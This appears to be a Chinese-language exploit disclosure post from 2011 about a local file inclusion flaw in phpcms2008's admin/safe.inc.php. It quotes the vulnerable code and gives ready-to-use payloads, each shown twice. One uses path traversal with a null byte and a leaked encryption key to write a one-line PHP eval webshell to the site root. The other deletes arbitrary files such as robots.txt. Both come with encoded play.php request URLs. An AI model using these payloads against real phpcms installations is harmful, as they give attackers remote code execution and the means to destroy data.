Phpcms本地包含漏洞导致的写shell漏洞和删除任意文件漏洞
<p>发布日期:2011-05.04<br />发布作者:c4rp3nt3r</p><p>影响版本:phpcms2008 sp2 or sp4<br />官方地址:http://www.phpcms.cn</p>
<p>漏洞类型:文件包含<br />漏洞描述:phpcms本地包含类漏洞,如果该文件包含了/include/common.inc.php就可以包含执行很多后台才能执行的文件了。</p>
<p>由于phpcms的全局变量机制,导致能拿shell的方法很多,类似的问题不止一个。</p>
<p>admin/safe.inc.php文件是后台扫木马的程序,但是很可惜的是虽然文件名叫做safe,但是一点也不safe。</p>
<p>公布一个本地包含秒杀拿shell的方法。</p>
<p>包含:admin/safe.inc.php文件GET提交一下数据<br />将在根目录下生成一句话<br />用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';<br />加密如下字符串</p>
<p>$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST)?>&mod=../../admin/safe.inc.php%00';<br /> </p>
<p> http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8= </p>
<p><br />将在根目录下生成一句话木马</p>
<p>同理任意文件删除漏洞:<br />$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';<br />http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==</p>
<p>参考:Flyh4t 一个漏洞的二次利用</p>
<p> </p>
<p>详细说明:</p>
<p>贴上存在漏洞的代码<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode6"><br />//admin/safe.inc.php<br /><?php <br />defined('IN_PHPCMS') or exit('Access Denied');<br />// include/common.inc.php 里面声明了常量<br />// define('IN_PHPCMS', TRUE);<br />if(empty($action)) $action = "start";<br />$safe = cache_read('safe.php');<br />$filecheck = load('filecheck.class.php');<br />if(empty($safe))<br />{<br />$safe = array (<br />'file_type' => 'php|js',<br />'code' => '',<br />'func' => 'com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress',<br />'dir' => $filecheck->checked_dirs()<br />);<br />}<br />switch ($action)<br />{<br />...<br />case 'edit_code':<br />if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code)))<br />{<br />showmessage('修改成功!');<br />}<br />break;<br />case 'del_file':<br />$file_path = urldecode($files);<br />if (empty($file_path)) <br />{<br />showmessage('请选择文件');<br />}<br />$file_list = cache_read('scan_backdoor.php');<br />unset($file_list[$file_path]);<br />cache_write('scan_backdoor.php',$file_list);<br />@unlink(PHPCMS_ROOT.$file_path);<br />showmessage('文件删除成功!', '?mod=phpcms&file=safe&action=scan_table');<br />break;<br />...<br /></div><br />漏洞证明:<br />将在根目录下生成一句话<br />用上一篇得到的密钥$key='sIpeofogblFVCildZEwe';<br />加密如下字符串</p>
<p>$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST)?>&mod=../../admin/safe.inc.php%00';<br /> </p>
<p> http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8= </p>
<p><br />将在根目录下生成一句话木马</p>
<p>同理任意文件删除漏洞:<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode7"><br />$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';<br />http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==<br /></div></p>
頁:
[1]